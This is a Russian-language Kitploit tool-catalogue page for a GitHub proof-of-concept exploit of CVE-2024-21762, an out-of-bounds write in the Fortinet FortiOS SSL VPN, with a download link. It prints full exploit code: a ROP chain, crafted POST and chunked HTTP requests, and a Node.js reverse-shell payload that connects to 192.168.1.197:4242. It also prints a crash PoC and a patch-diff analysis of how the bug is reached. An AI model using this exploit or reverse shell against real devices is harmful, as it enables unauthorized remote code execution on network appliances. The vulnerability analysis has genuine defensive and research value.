Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-21762 — внеграничная запись в Fortinet FortiOS — уязвимость CVE-2024-21762 | Kitploit
Инструменты/GitHubGitHub/h4x0r-dz/cve-2024-21762
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийИнструмент Удаленного ДоступаРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubh4x0r-dz/cve-2024-21762

CVE-2024-21762

внеграничная запись в Fortinet FortiOS — уязвимость CVE-2024-21762

Репозиторий
1502582 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-21762

Выход за границы записи в Fortinet FortiOS. Уязвимость CVE-2024-21762

Эксплойт PoC от assetnote


ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"
getcwd_ptr = b"%70%62%2c%04%00%00%00%00"

pivot_1 = b"%52%f7%fd%00%00%00%00%00" # push rdi; pop rsp; ret;
pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;

rop  = b""
rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;
rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;
rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;
rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;
rop += b"%00%00%00%00%00%00%00%00" # zero rcx
rop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;

rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;
rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copy
rop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;

rop += b"%f5%2c%e6%00%00%00%00%00" #  sub rax, 0x10; ret;
rop += b"%e4%e6%d7%01%00%00%00%00" #  add rsi, rax; mov [rdi+8], rsi; ret;

rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;
rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret; 0x028d0f25
rop += b"%00%00%00%00%00%00%00%00" # r8

pivot_3 = b"%e0%3f%4d%02%00%00%00%00" # add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret;

call_execl = b"%80%c1%43%00%00%00%00%00"

bin_node = b"/bin/node%00" 
e_flag = b"-e%00"
js_payload = b'(function(){var net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var client%3dnew net.Socket();client.connect(4242,"192.168.1.197",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();%00'

form_value  = b""
form_value += b"B"*11 + bin_node + b"B"*6 + e_flag + b"B"*14 + js_payload
form_value += b"B"*438 + pivot_2 + getcwd_ptr
form_value += b"B"*32 + pivot_1
form_value += b"B"*168 + call_execl
form_value += b"B"*432 + ssl_do_handshake_ptr
form_value += b"B"*32 + rop + pivot_3

body = (b"B"*1808 + b"=" + form_value + b"&")*20

data  = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body

ssock1 = make_sock(TARGET, PORT)
ssock1.sendall(data)

time.sleep(1)

ssock2 = make_sock(TARGET, PORT)

data  = b"POST / HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"\r\n"
data += b"0"*4137 + b"\0"
data += b"A"*1 + b"\r\n\r\n"

ssock2.sendall(data)

Уязвимость

Компания FortiGate выпустила обновление версии в феврале, исправляющее несколько уязвимостей среднего и высокого уровня риска. Одна из критических уязвимостей — это неавторизованная уязвимость выхода за границы записи в SSL VPN. В предупреждении об уязвимости указано, что эта уязвимость может эксплуатироваться в реальных атаках. В этой статье будет представлен анализ автора по процессу эксплуатации этой уязвимости для достижения удаленного выполнения кода.

image

Среда, используемая для анализа уязвимости в этой статье — FGT_VM64-v7.4.2.F-build2571

diff

Сравнивая бинарные файлы исправленных версий (7.4.2 и 7.4.3), анализ показал, что исправляющий код находится в функции sub_18F4980(7.4.2).

image

Анализируя эту функцию, нетрудно заметить, что ее логика заключается в чтении тела запроса HTTP POST. При этом в зависимости от заголовка Transfer-Encoding определяется, читать ли данные в чанковом формате или на основе Content-Length. Согласно результатам сравнения графов потока управления, есть две модификации кода:

При парсинге чанкового формата вызывается ap_getline для чтения длины чанка и проверяется, не превышает ли возвращаемое значение ap_getline 16. Если больше 16, длина чанка считается недопустимой.

image

При чтении трейлера чанка источником записи \r\n является присвоение line_off. До исправления значение line_off бралось из *(_QWORD *)(a1 + 744), после исправления — из возвращаемого значения ap_getline.

Продолжая трассировку, можно обнаружить, что значение *(_QWORD *)(a1 + 744) — это длина поля длины чанка при первой проверке.

image

Продолжая трассировку, можно обнаружить, что значение *(_QWORD *)(a1 + 744) — это длина поля длины чанка при первой проверке.

image

В то же время, читая код, можно сказать, что когда значение поля длины чанка после hex-декодирования равно 0, выполнение переходит к логике чтения трейлера чанка.

Срабатывание выхода за границы

После анализа исправления можно сделать следующие выводы:

  1. При парсинге чанка, если hex-декодированное значение поля длины чанка равно 0, начинается чтение трейлера чанка.
  2. После вызова ap_getline для чтения трейлера чанка в буфер будет записано \r\n в соответствии с длиной поля длины чанка.

Следовательно, если в поле длины чанка передано много нулей, и длина нулей превышает 1/2 оставшейся длины буфера, будет спровоцирована запись \r\n за границы. Через отладку можно узнать, что целевой буфер находится на стеке (функция sub_1A111E0), и адрес возврата хранится по смещению 0x2028. Если по смещению 0x202e записано \r\n, то при возврате функция попытается выполнить инструкцию восстановления rip и произойдет сбой из-за недопустимого адреса.

Crash PoC:

pkt = b"""\
GET / HTTP/1.1
Host: %s
Transfer-Encoding: chunked

%s\r\n%s\r\n\r\n""" % (hostname.encode(), b"0"*((0x202e//2)-2), b"a")

ssock = create_ssock(hostname, port)
ssock.send(pkt)
ssock.recv(4096)

Сценарий сбоя:

image

Анализируя причину уязвимости, видно, что она позволяет записать два байта \r\n за границы на стеке, и диапазон выхода близок к 0x2000. Поскольку записываемое содержимое очень ограничено, RCE не может быть достигнуто прямым перехватом rip. Поэтому необходимо сосредоточиться на указателях памяти, сохраненных в стеке.

неудачная попытка

Что приходит в голову, так это перехватить rbp и перезаписать младший байт rbp так, чтобы rbp указывал на управляемую область памяти. Когда родительская функция вернется к выполнению инструкции, rip можно будет полностью захватить. Однако при проверке было обнаружено, что даже если rbp в стеке перезаписан, rsp и rip не могут быть захвачены, и программа даже не вылетает. Продолжая трассировку вверх, находим родительскую функцию sub_1A111E0. Эта функция при возврате не вызывает leave ret для восстановления rsp, а напрямую add rsp, 0x18, поэтому ожидаемого эффекта достичь не удается.

image

Ищем другую точку проникновения

Как показано в предыдущем разделе, функция sub_1A26040 сохраняет значения пяти регистров rbx и r12-r15 в стеке и восстанавливает их при возврате. Продолжая обратную трассировку, находим родительскую функцию sub_1A27650. Видно, что в r13 сохраняется именно параметр a1.

a1 — это указатель на структуру. Через отладку также видно, что в стеке r13 сохраняется адрес кучи.

Скачать инструмент